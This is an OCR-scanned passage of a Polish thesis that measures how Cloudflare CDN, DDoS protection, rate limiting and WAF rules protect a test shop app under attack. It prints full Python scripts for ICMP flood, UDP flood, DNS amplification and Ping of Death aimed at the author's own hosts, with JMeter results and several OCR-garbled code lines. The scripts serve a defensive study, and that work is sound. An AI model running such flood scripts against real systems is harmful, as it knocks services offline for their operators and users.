e Max Response Time - maksymalny czas odpowiedzi jaki uzytkownik musiat

odczekac, aby ja otrzymac
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Patrzac na rysunek 3.2., mozna zauwazy¢, ze S$redni i maksymalny czas
odpowiedzi sg bardzo niskie, czego powodem jest fakt, iz aplikacja dziata lokalnie i czas
odpowiedzi nie jest obarczony opdznieniami zwigzanymi z komunikacjg z serwerem

zewngetrznym.

5.1.2. Konfiguracja Srodowiska testowego

Metody zabezpieczen wykorzystane w testach beda implementowane przy uzyciu
narzedzia Cloudflare. Nie mozna jednak go skonfigurowa¢ dla aplikacji dzialajacej na
lokalnym $rodowisku. Dlatego tez konieczne jest wykupienie publicznej domeny
internetowej. Posiadanie jej jest warunkiem, aby zaimplementowa¢ Cloudflare dla
aplikacji testowej. Na stronie oferujacej zakup domen internetowych spaceship.com

zostala zakupiona domena “barniem.xyz”. Ze wzgledu na jej nietypowg koncowke “.xyz”

29 ¢¢

jej cena byta nizsza niz popularne “.com”, “.org”, czy tez “.io” [24].

Nastepnie stworzone zostato konto w Cloudflare i w kolejnyk kroku przeszlismy
do rejestracji zakupionej domeny “barniem.xyz”. Po jej udanej rejestracji, mozna

zobaczy¢ widok pokazany na rysunku 3.3. przedstawionym ponizej.

Domains Developer Platform | Mew

+ Add a domain

Filter by:

Domain Status

barniem.xyz +/ Active

1-10f1items

Rys. 3.3. Dodana domena w Cloudflare [opracowanie wlasne]
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Aby dokonczy¢ rejestracje, konieczna byla zmiana serweréw DNS dla

wykupionej domeny, na serwery Cloudflare. Zmiana to zostata pokazana na rysunku 3.4.

A spaceship

& & Advanced DNS

@ barniem.xyz

Nameservers

Custom nameservers (O [# Change

addyson.ns.cloudflare.com

jasper.ns.cloudflare.com

Rys. 3.4. Zmiana serwerdéw DNS dla wykupionej domeny na serwery Cloudflare [opracowanie wiasne]

Po ukonczonej rejestracji, mamy dostgp do gldwnego panelu zarzadzania domena
z r6znymi funkcjonalno$ciami. Wybrany zostat pakiet darmowy, co 0znacza, iz nie
wszystkie opcje sa w petni dostepne. Na ponizszym rysunku 3.5. widaé¢ widok strony

gléwnej stworzonej domeny w Cloudflare.

GCLOUDFLARE

€ Bartek.niemczyk@int... Bbamiemxyz | Active Star  Free plan

E  Overview .
Overview

CF Alfudit 5= H

el barniem.xyz !

(& Analytics & Logs - Monitol d performance for barniem.xyz. Configure products and services from the menu. |
( e fundamentals )

& DNs - —_ !

& Email - 24Hours TDays 30Days 10 JANUARY — 11 JANUARY

SSUTLS A

8 Unique Visitors

T Security - 36

£ Access

m

Speed - Total Requests !
Caching - 101 /
Wiorkers Routes
Peicent Cached
Rules -
16.68%
Network
Traffic -
Total Data Served |
Custom Pages 532 kB

Apps

5 Scrape Shield Data Cached
PR . 89 kB

B Web3 !
View more analytics Download data b

A @ @ O

m @ %

Rys. 3.5. Widok skonfigurowanej domeny w Cloudflare [opracowanie wtasne]
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Aby aplikacja testowa byta dostepna na zarejestrowanej domenie w Cloudflare,
zastosowany zostat Cloudflare Tunnel. Zaktadka ta z stworzonym tunelem przedstawiona

jest na rysunku 3.6.

T Dl WKINEIILLYRWIIL.. 7
Networks / Tunnels

5 Zero.Trust overview Tu n n e I s
Set up a secure connection between Cloudflare’s global network and your infrastructure.
¢ Analytics
Tunnel documentation
<} Gateway -
Your tunnels showing 7- 1
<) Access - Manage the configurations of your existing tunnels.
U3 Tunnel name 7 Connector type
Routes
my_app_tunnel cloudflared
Targets  Mew
22 My team - 1-1  ltems per page: 10
B Logs -

CASB .

©

Rys. 3.6. Stworzony Cloudflare Tunnel [opracowanie wiasne]

Cloudflare Tunnel oferuje bezpieczny sposob na potaczenie lokalnie dziatajacych
zasobow z ustuga Cloudflare. Przy uzyciu tunelu, ruch sieciowy nie jest kierowany na
zewnetrzny adres IP. Zamiast tego uzyty jest zaimplementowany w infrastrukturze
daemon (program umozliwiajacy przeprowadzanie procesOW bez interakcji z
uzytkownikiem), w tym przypadku cloudflared, ktory tworzy potaczenie z globalng siecia
Cloudflare.

Cloudflare Tunnel umozliwia potaczenie serwerow HTTP, SSH, zdalnych

komputeréw oraz innych protokotéw z Cloudflare [21].

Do stworzonego tunelu dodaje publiczny rekord nazwy hosta (ang. hostname),
ktory wskazuje na aplikacje testowa dziatajaca lokalnie. Publiczna nazwa, ktora zostata
nadana to: shop.barniem.xyz. Na ponizszym rysunku 3.7. pokazana jest skonfigurowana
nazwa hosta dla stworzonego tunelu.
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shop.barniem.xyz

Basic Information

Public hostname

shop.barniem.xyz &

Path

®

Service

http://localhost:8080

Origin configurations

0

Rys. 3.7. Skonfigurowany tunel polqczony z aplikacjq serwera [opracowanie wiasne]

Jezeli konfiguracja ta powiodla si¢ 1 stan tunelu jest “Healthy” (zdrowy,
dziatajacy), ruch sieciowy kierowany jest przez Cloudflare i zwraca on dane z aplikacji

testowe]. Mozna to zaobserwowaé na ponizszym rysunku 3.8.

Status Uptime

HEALTHY 1 hours

Healthy status indicates the Tunnel is connected and able

to serve traffic

Rys. 3.8. Widok udanej konfiguracji tunelu [opracowanie wiasne]

Ponizej, na rysunku 3.9. przedstawione jest wykonane zapytanie w aplikacji
Postman ,,GET /allProducts”, ktore zwraca liste wszystkich produktéw. W adresie URL
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nazwa hosta wykorzystana to wtasnie: shop.barniem.xyz. Oznacza to, iz tunel dziata

poprawnie.

GET v http://shop.barniem.xyz/products/allProducts

Params Authorizatior Headers (7) Body
Query Params

Key Description

“"description”:

"price": 1000.5,

Rys. 3.9. Potwierdzenie prawidiowego dziatania tunelu [opracowanie wiasne]

5.2. Przeprowadzenie testow na wybranych metodach i narzedziach

Narzedziem jakie zostalo zaimplementowane jest CDN (Content Delivery
Network) w postaci Cloudflare. Jest to jedna z najskuteczniejszych metod obrony przed
atakami DDoS, gdyz pozwala na filtracje ruchu i odrzucenie niechcianych pakietéw
nadchodzacych w ogromnych iloSciach w krotkim czasie np. ICMP, lub UDP.
Po zarejestrowaniu domeny i przekazaniu ruchu sieciowego przez Cloudflare, mamy
uruchomiong ustuge DDoS Protection z zaktadki Security. Sa to reguly stworzone przez
Cloudflare, ktére mityguja skutki atakOw wolumetrycznych i sieciowych takich jak
ICMP/UDP flood, czy tez DNS Amplification poprzez filtracje ruchu [21].

Na ponizszym rysunku 3.10. przedstawione s3 informacje o DDoS Protection na

stronie Cloudflare w zaktadce Security — DDoS.
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Network-layer and SSL/TLS DDoS attack protection

Rulesets managed by Cloudflare that automatically mitigate SSL/TLS-based and Network-layer DDoS attacks such as SYN floods and UDP
reflection attacks. Network-layer DDoS attack protection protects all Cloudflare customers, but enly Magic Transit and Spectrum customers on an
Enterprise plan can customize the managed ruleset.

Name Description

Automatic mitigation of SSL/TLS based DDeS attacks and encryption-based
4 551/TLS DDoS attack protection attacks such as DDoS attacks, SSL exhaustion floods, and SSL negotiation
attacks.

Automatic mitigation of network-layer DDo5 attacks such as ACK floods, SYN-
o Network-layer DDo5 attack protection ACK amplification attacks, UDP attacks, ICMP attacks and DDoS attacks
launched by botnets such as Mirai.

Help p

Rys. 3.10. Dziatajgca ochrona DDoS Protection [opracowanie wiasne]

Oznacza to, ze wickszo$¢ zaimplementowanych atakow DDoS, powinna nie mieé
wplywu na dziatanie aplikacji, jezeli ruch ten begdzie przechodzil przez CDN, w tym
przypadku Cloudflare. Jednak ataki na warstwe aplikacji HTTP flood, HULK sa dalej
problemem, gdyz DDoS protection nie ma mechanizmow obrony przed nimi. W tym celu

konieczna jest implementacji dodatkowych metod zabezpieczen.

Sprawdzimy jak implementacja CDN wptynie na dzialanie aplikacji podczas gdy
nie trwa zaden atak DDo0S. Ponizszy rysunek 3.11. przedstawia wyniki testu wydajnosci

aplikacji po zaimplementowaniu CDN, lecz bez wykonania zadnego ataku DDoS.

Statistics
Requests Executions Response Times (ms) Throughput Network (KB/sec)
- * ¥ Error ¥ ¥ ¥ * * A * gsmn * S5t ¥ * * ¥
Label #S5amples FAIL % Average Min Max Median pct pct pct Transactions/s Received Sent
Total 3800 0 0.00% 251.58 78 1295 101.00 1098.00 1109.00 1148.00 4.63 13.89 0.62
HTTP 3800 0 0.00% 25158 78 1295 101.00 1098.00 1109.00 1148.00 4.63 13.89 0.62

Request

Rys. 3.11. Wynik testu wydajnosci po implementacji Cloudflare [opracowanie wlasne]

Wida¢, ze $redni i maksymalny czas odpowiedzi zwigkszy? sig, lecz te wartoSci

dalej sg akceptowalne dla uzytkownika (zobacz ponownie rysunek 3.11.).

Sprawdzimy teraz, czy ataki, ktorych skutki powinny zosta¢ zmitygowane,

faktycznie zostaty skutecznie odparte.
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Rozpoczynamy testy od ataku ICMP Flood. Wpierw wykonamy atak na aplikacje
dziatajaca lokalnie, bez zaimplementowanego CDN. Na rysunku 4.1. przedstawione jest
uruchomienie skryptu ataku ICMP Flood na adres aplikacji serwera dziatajacego lokalnie,

bez zaimplementowanych zabezpieczen.

import socket
import random
import struct
import time

NUM_THREADS = 388
# Adres celu
TARGET_IP = "127.8.8.1"

# Rozmiar tadunku ICMP (w bajtach)
PAYLOAD_SIZE = 4896

def checksum(data):
"""Funkcja do obliczania sumy kontrolnej ICMP"™"
if len(data) % 2 != 8:
data += b "\x86°
s = sum{struct.unpack("!{}H" .format({len(data) // 2), data))
s = (s »> 16) + (s & BxFFFF)
s += 5 »» 16
return ~s & BxFFFF

def create_icmp_packet(id):
“""Tworzy pakiet ICMP typu Echo Request
type_code = 8 << 8 # Typ 8 (Echo Request), Kod @
checksum_value = @
header = struct.pack(”!HH", type code, checksum_value)
payload = random. urandom{PAYLOAD SIZE)
checksum_value = checksum{header + payload)
header = struct.pack(”!HH", type_code, checksum_value)
return header + payload

def icmp_flood():
"""Funkcja przeprowadzajgca atak ICMP Flood"™"
sock = socket.socket(socket.AF_TINET, socket.SOCK _RAW, socket.IPPROTO_ICMP)
packet_id = random.randint(@, 65535)

while True:
try:
packet = create_icmp_packet(packet_id)
sock.sendto(packet, (TARGET_IP, 8))
except Exception as e:
print(f"Error: {e}")

if __name__ == "_main__":
print{(f"Starting ICMP flood on {TARGET IP} with {NUM THREADS} threads...")
run_ddos_attack_with_threads(icmp flood, NUM_THREADS)

Starting ICMP flood on 127.9.9.1 with 388 threads...

Rys. 4.1. Uruchomienie skryptu ataku ICMP Flood na aplikacje testowq bez zabezpieczen [opracowanie
wlasne]
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W trakcie trwania ataku wykonam testy wydajno$ci aplikacji w Jmeter. Na
rysunku 4.2. przedstawione sg wyniki testu wydajnosci aplikacji serwera dziatajacego bez

zaimplementowanego CDN.

Statistics
Requests Executions Response Times (ms) Throughput Network (KB/sec)
. s 4 ETOM, s & o 0SS, s s s
Label #Samples FAIL % Average © Min Max Median pct pct pct Transactions/s Received Sent
Total 3500 0 0.00% 754.90 1 5543 165.00 1770.00 1849.00 1892.00 38.38 92.92 5.10
HTTP 3500 0 0.00% 754.90 1 5543 165.00 1770.00 1849.00 1892.00 38.38 92.92 5.10

Request

Rys. 4.2. Wynik testu wydajnosci aplikacji bez zabezpieczen podczas trwania ataku ICMP Flood
[opracowanie wlasne]

Ponownie patrzac na rysunek 4.2., mozna zauwazy¢, ze wspotczynnik zapytan
generujacych btad jest dalej rowny 0, jednak $redni czas odpowiedzi i maksymalny czas

si¢ zwigkszyty.

Zmieniamy teraz cel ataku na shop.barniem.xyz, czyli adres aplikacji z
zaimplementowanym CDN i zabezpieczeniami przed atakami DDoS i wykonamy testy
wydajnoéci podczas trwania ataku. Na ponizszym rysunku 4.3 pokazane jest

uruchomienie skryptu ataku ICMP Flood na aplikacje z dziatajacym CDN.
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import socket
import random
import struct
import time

NUM_THREADS = 3@8@
# Adres celu
TARGET_IP = "shop.barniem.xyz"

# Rozmiar tadunku ICMP (w bajtach)
PAYLOAD_SIZE = 4895

def checksum(data):
“""Funkcja do obliczania sumy kontrolnej ICMP"""
if len(data) % 2 != @:
data += b"\x08"
s = sum(struct.unpack("!{}H".format(len(data) // 2), data))
s = (s » 16) + (s & BxFFFF)
s +=5s5 >» 16
return ~s & @xFFFF

def create_icmp_packet(id):
“""Tworzy pakiet ICMP typu Echo Request""™"
type_code = 8 << 8 # Typ 8 (Echo Request), Kod @
checksum_value = 8
header = struct.pack("!HH", type code, checksum value)
payload = random._urandom{PAYLOAD SIZE)
checksum_value = checksum(header + payload)
header = struct.pack("!HH", type code, checksum value)
return header + payload

def icmp_flood():
“""Funkcja przeprowadzajgca atak ICMP Flood"™""
sock = socket.socket(socket.AF INET, socket.SOCK RAW, socket.IPPROTO _ICMP)
packet_id = random.randint(@, 65535)

while True:
try:
packet = create_icmp_packet(packet_id)
sock.sendto(packet, (TARGET_IP, @))
except Exception as e:
print(f"Error: {e}")

if _name__ == "_main__ ":
print(f"Starting ICMP flood on {TARGET IP} with {NUM THREADS} threads...")
run_ddos_attack_with_threads(icmp_flood, NUM_THREADS)

Starting ICMP flood on shop.barniem.xyz with 30@ threads...

Rys. 4.3. Uruchomienie skryptu ataku ICMP Flood na aplikacje testowq z zaimplementowanym CDN
[opracowanie wiasne]
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Statistics

Requests Executions Response Times (ms) Throughput MNetwork (KB/sec)
- * £ Efror ¥ ¥ * ¥ * AHh £ g5th ¥ S9th * ¥ ¥ ¥
Label #Samples FAIL % Average Min Max =~ Median pct pct pct Transactions/s Received Sent
Total 2800 0 0.00% 353.38 120 1341 101.00 1099.50 1129.00 1196.00 4.43 12.19 0.59
HTTP 2800 0 0.00% 35338 120 1341 101.00 1099.50 1129.00 1196.00 4.43 12.19 0.59

Request

Rys. 4.4. Wynik testu wydajnosci aplikacji z zaimplementowanym CDN podczas trwania ataku ICMP
Flood [opracowanie wiasne]

Na rysunku 4.4. wida¢, ze czasy odpowiedzi nieco zwigkszyty si¢ w stosunku do
testu wydajnosci, gdy nie przeprowadzamy zadnego ataku, lecz warto$ci te sg mniejsze

od sytuacji, gdy aplikacja jest atakowana bez zaimplementowanego CDN.

Przechodzimy teraz do testu ataku UDP Flood. Pierwszym krokiem jest
wykonanie ataku na aplikacje bez zabezpieczen | wykonanie testu w celu sprawdzenia
jak wplywa on na wydajnosc¢ aplikacji. Na rysunku 4.5. pokazane jest uruchomienie
ataku UDP Flood na aplikacje bez CDN.

import socket
import random
import time

NUM_THREADS = 380

# Adres celu
TARGET_IP = "127.8.8.1"
TARGET_PORT = 8080

# Rozmiar pakietu UDP (w bajtach)
PACKET_SI/ZE = 65587

def udp_flood():
"""Funkcja przeprowadzajgca atak UDP Flood™""
sock = socket.socket(socket.AF_INET, socket.SOCK DGRAM) # Tworzy gnigzdo UDP
data = bytes(random.getrandbits(8) for _ in range(PACKET_SIZE))

while True:
try:
sock.sendto(data, (TARGET IP, TARGET PORT)) # Wysyta pakiet UDP
except Exception as e:
print(f"Error: {e}")

if _name__ == "_ main_ ":
print(f"Starting UDP flood on {TARGET IP}:{TARGET PORT} with {NUM THREADS} threads...")
run_ddos_attack_with_threads(udp_flood, NUM_THREADS)

Starting UDP flood on 127.9.0.1:808@ with 3@@ threads...

Rys. 4.5. Uruchomienie skryptu ataku UDP Flood na aplikacje testowq bez zabezpieczen [opracowanie
wlasne]
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Statistics

Requests Executions Response Times (ms) Throughput Network (KBfsec)

. s s ETOOT, s s s o S0, oSt 99, s $ .4
Label #Samples = FAIL % Average =~ Min = Max = Median pct pct pct Transactions/s = Received = Sent
Total 1400 78 5.57% 1264.52 120 1637 505.00 1455.00 1561.95 1614.97 79.74 184.21 10.00
HTTP 1400 78 5.57% 126452 120 1637 505.00 1455.00 1561.95 1614.97 79.74 184.21 10.00
Request

Rys. 4.6. Wynik testu wydajnosci aplikacji bez zabezpieczen podczas trwania ataku UDP Flood
[opracowanie wlasne]

Patrzac na powyzszy rysunek 4.6. mozna zauwazy¢, ze cze$¢ zadan zwrocita blad

| czasy odpowiedzi zwiekszyty sie.

Zmienimy cel ataku na adres aplikacji dziatajacej z zaimplementowanym CDN i
dziatajaca na domyslnym porcie aplikacji HTTP- 80. Uruchomienie tego skryptu ataku

pokazane jest na rysunku 4.7.

import socket
import random
import time

MUM_THREADS = 360

# Adres celu
TARGET_IP = "shop.barniem.xyz"
TARGET_PORT = &@

# Rozmiar pakietu UDP (w bajtach)
PACKET_SIZE = 65587

def udp flood():
"""Funkcja przeprowadzajgca atak UDP Flood"""
sock = socket.socket(socket.AF_INET, socket.50CK DGRAM) # Tworzy gniazdo UDP
data = bytes(random.getrandbits(8) for _ in range(PACKET SIZE))

while True:
try:
sock.sendto(data, (TARGET IP, TARGET PORT)) # Wysyta pakiet UDP
except Exception as e:
print(f"Error: {e}")

if _npame__ == "_ main_ ":
print(f"Starting UDP flood on {TARGET IP}:{TARGET PORT} with {NUM_THREADS} threads...")
run_ddos_attack with_threads(udp flood, NUM_THREADS)

Starting UDP flood on shop.barniem.xyz:8@ with 38@ threads...

Rys. 4.7. Uruchomienie skryptu ataku UDP Flood na aplikacje testowq z zaimplementowanym CDN
[opracowanie wlasne]
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Statistics

Requests Executions Response Times (ms) Throughput Network (KB/sec)

o~ - - EITO[A - - - - 90th - 95th - 99th - - - e
Label = #Samples © FAILT % ° Average ~ Min ' Max ® Median ® pct ° pct °  pct | Transactions/s © Received ©  Sent ®
Total 2800 0 0.00% 274.53 79 1287 240.55 99B8.00 1009.00 1101.42 4.33 12.89 0.57
HTTP 2300 0 0.00% 274.53 79 1287 24055 9%5.00 1009.00 110142 433 12.89 057
Request

Rys. 4.8. Wynik testu wydajnosci aplikacji z zaimplementowanym CDN podczas trwania ataku UDP
Flood [opracowanie wilasne]

Na rysunku 4.8. z wynikami testu mozna odczytaé, iz udato si¢ wyeliminowac

btedy oraz czasy odpowiedzi znacznie si¢ zmniejszyty.

Przechodzimy teraz do ataku nat¢zenia DNS (ang. DNS Amplification). W tym
przypadku cel ataku zmieniamy w ustawieniach strefy w serwerze DNS. Dla aplikacji
lokalnej ustawiam adres 127.0.0.1, a dla aplikacji dziatajacej z Cloudflare ustawiam
prywatny adres hosta: 172.67.157.227. Na rysunku 4.9. pokazany jest rekord w sferze z

ustawionym adresem aplikacji serwera dziatajacej w Cloudflare.

ns1 A 3600 172.67.157.227

Rys. 4.9. Ustawienie prywatnego adresu IP w rekordzie strefy w serwerze DNS [opracowanie wiasne]

Uruchomienie skryptu ataku DNS Amplification w Python dla aplikacji bez
zaimplementowanych zabezpieczen i aplikacji z zaimplementowanym CDN pokazane

jest na rysunku 4.10.
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import socket

# Parametry ataku
dns_server = "127.0.0.1" # Adres Technitium DNS Server
NUM_THREADS = 508

# Funkcja tworzgca zapytanie DNS

def create_dns_guery(domain):
gquery = b"\xaa\xbb" # ID zapytania
query += b"\x0@1\xB@" # Flagi standardowego zapytania
query += b"\x80\x@81" # 1 pytanie
query += b"\x80\x80" # Brak odpowiedzi
query += b"\x80\x80" # Brak rekordow dodatkowych
query += b"\x00\x8@" # Brak rekordéw autorytatywnych

# Zapytanie o nazwe domeny
for part in domain.split("."):

query += bytes([len(part)]) + part.encode()
query += b"\x80" # Koniec nazwy domeny

query += b"\x00\x81" # Typ rekordu A
query += b"\x00\x81" # Klasa IN

return query

# Wysytanie zapytan DNS z fatszywym adresem IP

def dns_amplification_attack():
sock = socket.socket(socket.AF_TINET, socket.SOCK DGRAM)
sock.setsockopt(socket.S0L SOCKET, socket.S0 _REUSEADDR, 1)

# Przygotuj zapytanie
dns_query = create_dns_query(“example.com")
while True:
sock.sendto{dns_query, (dns_server, 53)) # Wystanie do serwera DNS

if name == " main_ ":

print(f"Starting DNS attack with {num_threads} threads...")
run_ddos_attack with threads{dns amplification_ attack, NUM THREADS)

Starting DNS attack with 50@ threads...

Rys. 4.10. Uruchomienie skryptu ataku DNS Amplification dla obu aplikacji /opracowanie wiasne]

Poréwnamy teraz wyniki testow wydajnosci aplikacji podczas trwania ataku dla

aplikacji dzialajacej lokalnie 1 aplikacji z zaimplementowanym CDN.
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Statistics

Requests Executions Response Times {ms) Throughput Network (KB/sec)

. s s EMOT, s s s g S0, S5 9%, s $ %
Label #Samples FAIL Y Average  Min Max = Median pct pct pct Transactions/s = Received Sent
Total 4200 189  4.50% 225543 13 2572 592.50 2427.00 2443.00 2458.00 42.71 141.09 6.10
HTTP 4200 189  4.50% 225543 13 2572 59250 2427.00 2443.00 2458.00 42.71 141.09 6.10
Request

Rys. 4.11. Wynik testu wydajnosci aplikacji bez zabezpieczen podczas trwania ataku DNS Amplification
[opracowanie wlasne]

Statistics

Requests Executions Response Times {ms) Throughput Network (KB/sec)

- ry - En—orA - e - - gnth - 95“" - ggm ry - - -
Label = #Samples © FAIL~ % ° Average = Min = Max = Median ~ pct = pct ~ pct  Transactions/s ~ Received ~  Sent
Total 3500 0 0.00% 228.56 1 603  242.00 406.90 501.00 572.99 77.85 188.62 10.19
HTTP 3500 0 0.00% 22856 1 603 24200 40690 501.00 57299 77.85 188.62 10.19

Request

Rys. 4.12. Wynik testu wydajnosci aplikacji z zaimplementowanym CDN podczas trwania ataku DNS
Amplification [opracowanie wiasne]

Jak wida¢ na powyzszych rysunkach 4.11. i 4.12. gdzie zawarte sg wyniki testow
wydajnosci, dzigki implementacji Cloudflare udato si¢ wyeliminowac btedne odpowiedzi

od serwera oraz znaczgco obnizy¢ czasy odpowiedzi na Zadania.

Przechodzimy teraz do testow ataku POD. Najpierw testowana bedzie wydajnos¢
aplikacji bez zaimplementowanego CDN podczas trwania ataku POD. Na ponizszym

rysunku 4.13. pokazane jest uruchomienie skryptu POD, gdzie celem ataku jest aplikacja
bez CDN.
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import socket
import random

# Adres celu
TARGET_IP = "127.06.0.1"

# Maksymalny rozmiar pakietu ICMP (zwykle systemy Limitujg do 65535 bajtdw)
MAX_PACKET_SIZE = 65587 # Rozmiar pakiey przekraczajgcy maksimum

# Liczba wgtkdw
NUM_THREADS = 200

def send large icmp():
"""Funkcja wysylajaca duze pakiety ICMP.
sock = socket.socket(socket.AF_IMET, socket.S0CK_RAW, socket.IPPROTO_ICMP)

# Losowe dane, ktdre bedq w pakiecie ICMP
payload = random._urandom(MAX_ PACKET SIZE)

# Budowanie nagtéwka ICMP (typ 8 = ECHO request, kod 8)

icmp_header = b'\x88\x88' # Typ 8 (ICMP Echo Request), Kod 8

checksum = b'\xB@\x80' # Fikcyjna suma kontrolna

identifier = b'\x12\x34' # Identyfikator pakietu

sequence_number = b'\x88\x@1" # Numer sekwencyjny

icmp_packet = icmp_header + checksum + identifier + sequence_number + payload

print(f"Thread {threading.current_thread().name} sending packets to {TARGET IP}...")

while True:
try:
sock.sendto{icmp packet, (TARGET_IP, @))
except Exception as e:
print(f"Error in thread {threading.current_thread().name}: {e}")
break

if _name__ == "_main_ ":
print{f"Starting Ping of Death attack on {TARGET IP} with {NUM_THREADS} threads...")
run_ddos_attack_with_threads(send_large_icmp, NUM_THREADS)

Starting Ping of Death attack on 127.0.8.1 with 200 threads...

Rys. 4.13. Uruchomienie skryptu ataku POD na aplikacje testowq bez zabezpieczer [opracowanie

wiasne]

Statistics
Requests Executions Response Times (ms) Throughput Network (KB/sec)

o~ - - EITWA e - - e 90th - 95th e 99th - - - -

Label = #Samples ~ FAIL® % ~ Average = Min~ Max ~ Median~ pct ~ pet °  pct 7 Transactions/s ~ Received ~ Sent ~
Total 3100 0 0.00% 2025.84 81 7182 1106.00 7111.00 7123.00 7138.99 1.49 4.45 0.20
HTTP 3100 0 0.00% 202584 81 7182 110600 7111.00 712300 713899 149 445 0.20
Request

Rys. 4.14. Wynik testu wydajnosci aplikacji bez zabezpieczen podczas trwania ataku POD [opracowanie

wlasne]

Na powyzszym, rysunku 4.14. wida¢ zwiekszony $redni czas odpowiedzi - okoto

2 sekund oraz zwigkszony maksymalny czas odpowiedzi — ponad 7 sekund.
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Teraz przechodzimy do testu wydajnosci aplikacji z zaimplementowanym CDN.
Na rysunku 4.15. pokazane jest uruchomienie skryptu ataku POD na aplikacje z
dziatajacym CDN.

import socket
import random

# Adres celu
TARGET_IP = “"shop.barniem.xyz"

# Maksymalny rozmiar pakietu ICMP (zwykle systemy limitujg do 65535 bajtdw)
MAX_PACKET_SIZE = 65587 # Rozmiar pakiey przekraczajgcy maksimum

# Liczba wgtkdw
NUM_THREADS = 280

def send_large_icmp():
"""Funkcja wysylajgca duie pakiety ICMP."""
sock = socket.socket(socket.AF INET, socket.S0CK RAW, socket.IPPROTO ICMP)

# Losowe dane, ktdre bedq w pakiecie ICMP
payload = random. urandom(MAX PACKET SIZE)

# Budowanie nagtdwka ICMP (typ 8 = ECHO request, kod @)

icmp_header = b'\x@8\x@0' # Typ 8 (ICMP Echo Request), Kod @

checksum = b"\x@0\x00"' # Fikcyjna suma kontrolna

identifier = b'\x12\x34"' # Identyfikator pakietu

sequence_number = b"\x88\x01"' # Numer sekwencyjny

icmp_packet = icmp_header + checksum + identifier + sequence_number + payload

print(f"Thread {threading.current_thread().name} sending packets to {TARGET IP}...")

while True:
try:
sock.sendto(icmp_packet, (TARGET_IP, @))
except Exception as e:
print(f"Error in thread {threading.current_thread().name}: {e}")
break

if name__ == " main_ ":
print(f"Starting Ping of Death attack on {TARGET_IP} with {NUM_THREADS} threads...")
run_ddos_attack with threads(send large icmp, NUM_THREADS)

Starting Ping of Death attack on shop.barniem.xyz with 288 threads...

Rys. 4.15. Uruchomienie skryptu ataku Ping Of Death na aplikacje testowq z zaimplementowanym CDN
[opracowanie wiasne]
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Statistics

Requests Executions Response Times (ms) Throughput MNetwork (KB/sec)

" e - EmrA - - - - S0th - 95th - 99th - - - -
Label =~ #Samples © FAIL™ % ~ Average  Min~ Max  Median~ pct °  pet ©  pet | Transactions/s T Received T Sent
Total 2700 0 0.00% 299.44 60 2225 92.00 1155.90 1213.70 1262.98 1.84 5.51 0.25
HTTP 2700 0 0.00% 299.44 60 2225 9200 1155.90 121370 126298 1.84 551 0.25
Request

Rys. 4.16. Wynik testu wydajnosci aplikacji z zaimplementowanym CDN podczas trwania ataku Ping Of
Death [opracowanie wiasne]

Jak wida¢ na powyzszym rysunku 4.16., poprzez implementacje CDN Cloudflare,

udato si¢ zmniejszy¢ $redni i maksymalny czas odpowiedzi serwera na zadania.

Metody zabezpieczen przed atakami na warstwe aplikacji:

Jak wspomniane byto na poczatku tego podrozdziatu, ataki na warstwe aplikacji
nie sg zatrzymane przez sam CDN i DDoS protection. Aby zminimalizowa¢ skutki tego
rodzaju atakow, konieczne jest zaimplementowanie dodatkowych metod zabezpieczen.
Przetestowane zostanie jak poradzi sobie z nimi ograniczenie szybkosci (ang. Rate
Limiting) oraz metody zapory sieciowej dla aplikacji webowych (ang. Web Application
Firewal, WAF).

Ograniczenie szybkos$ci (ang. Rate Limiting):

Zaimplementowany zostat dla punktow koncowych zwigzanych z zwracaniem
przez serwer regulaminow, gdyz ze wzgledu na rozmiar odpowiedzi, korzystaja z
wiekszej ilosci zasobow serwera. Potencjalnie wszystkie punkty ktére wymagaja wigcej
zasoboéw moga zosta¢ dodane do regut Rate Limiting, lecz w wersji darmowej planu
Cloudflare dostgpna jest jedna reguta. Po identyfikacji celu oranego przez atakujacych,
mozna zadecydowac ktore punkty koncowe powinny by¢ ograniczone 1 jak te reguly
powinny wyglada¢. W tym przypadku, gdy jeden uzytkownik wysle wiecej niz 100
zapytan zwigzanych z pobraniem regulaminu w 10 sekund, ruch sieciowy z jego adresu

jest blokowany [21]. Na ponizszym rysunku 5.1. pokazany jest formularz dodania tej

reguty.
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Edit rate limiting rule (_[E Rate limiting rule

Rule name (required)

test_rule

Give your rule a descriptive name.

Field Operator Value

{ URI Path - } [ contains - ] [;’agreements

e.g. /content

Expression Preview

(http.request.uri.path contains "/agreements")

With the same characteristics...

When rate exceeds...

Requests (required) Period (required)

100 10 seconds v

Then take action...

Choose action

Block hd

Blocks matching requests and stops evaluating other rules

For duration...

Duration (required)

Rys. 5.1. Stworzenie reguly Rate Limiting [opracowanie wiasne]

Jezeli reguta jest aktywna i wykonamy w tym czasie ataki HTTP Flood, lub
HULK, to mozemy zobaczy¢, iz te zadania sa blokowane. Pokazane jest to na ponizszych

rysunkach 5.2. 1 5.3.
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Rate limiting rules

Protect your website and API from malicious traffic with rate limiting rules. Configure
mitigation criteria and actions for better security.

You have used 1 out of 1 available Rate Limiting Rules.

Q, Search... ‘ Search I I 5 Show filters l
Order  Action Name CSR (@) Activity last 24hr Enabled
[ vl H
1 Block test_rule . | 114k :
URI Path - I —

Rys. 5.2. Uruchomienie i dziatanie reguly Rate Limiting [opracowanie wlasne]

Firewall Events @ Create custom rule

@ Add filter Previous 24 hours v

Rule ID equals 0654f23f998942beb1d40c6... X

Sampled logs I L Expor‘tl l @ Edit columns ]
Date Action taken Country IP address Service
P Dec 28, 2024 12:26:24 PM Block Poland 185.226.98.184 Rate limiting rules
P Dec 28, 2024 12:26:24 PM Block Poland 185.226.98.184 Rate limiting rules
P Dec 28, 2024 12:26:24 PM Block Paoland 185.226.98.184 Rate limiting rules
P Dec 28, 2024 12:26:23 PM Block Paland 185.226.98.184 Rate limiting rules
(] Dec 28, 2024 12:26:23 PM Block Poland 185.226.98.184 Rate limiting rules
b Dec 28, 2024 12:26:23 PM Block Poland 185.226.98.184 Rate limiting rules

Rys. 5.3. Zablokowane zgdania za pomocg reguly Rate Limiting [opracowanie wiasne]

Web Aplication Firewal (WAF):

Mozemy w nim doda¢ wilasne reguty mowigce jaki ruch sieciowy powinien by¢
kompletnie blokowany. Mozemy wybra¢ konkretny adres IP, zakres adreséw 1P, czy tez
konkretny kraj, z ktorego pochodza zadania [21]. Formularz dodanie reguly WAF

pokazany jest na rysunku 5.4.
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Edit rule

Rule name (required)

test_rule

Give your rule a descriptive name.

Field Operator Value

[ [P Source Add... - ] [ aquals h ] 185.226.98.184

e.g. 192.0.2.0

Expression Preview

(ip.src eq 185.226.98.184)

Then take action...

Choose action

Block v

Blocks matching requests and stops evaluating other rules

